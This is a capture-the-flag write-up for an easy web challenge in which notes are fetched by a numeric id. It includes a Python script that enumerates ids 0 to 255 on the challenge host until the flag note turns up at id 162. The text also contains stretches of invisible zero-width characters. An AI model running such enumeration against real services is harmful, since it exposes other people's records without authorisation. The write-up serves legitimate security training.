Motivation

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: id_enumeration, parameter_brute_force

Summary

"After reading these notes I'm highly motivated..."

Motivation — Web Kids 2.0

Description

"After reading these notes I'm highly motivated..."

A service with notes accessible by numeric identifier.

Analysis

The service provides access to notes via a parameter with a numeric ID. When accessing standard IDs (0, 1, 2...), regular notes are displayed. However, the flag is hidden in a note with a non-standard number.

Key observations:

• Notes are accessible via a numeric parameter
• The ID range is not limited to standard values
• No brute-force protection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Determine the range

Check available note IDs. Standard notes are at the beginning of the range.

Step 2: Brute-force ID

Enumerate IDs from 0 to 255 (or more) to find hidden content.

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "http://kslweb1.spb.ctf.su/burp/motivation/"

for i in range(256):
    r = requests.get(url, params={"id": i})
    if "spbctf{" in r.text or "flag" in r.text.lower():
        print(f"[+] Found at ID {i}:")
        print(r.text)
        break
    elif r.status_code == 200 and len(r.text) > 100:
        print(f"[*] ID {i}: {len(r.text)} bytes")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Result

Flag found in note with ID = 162. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍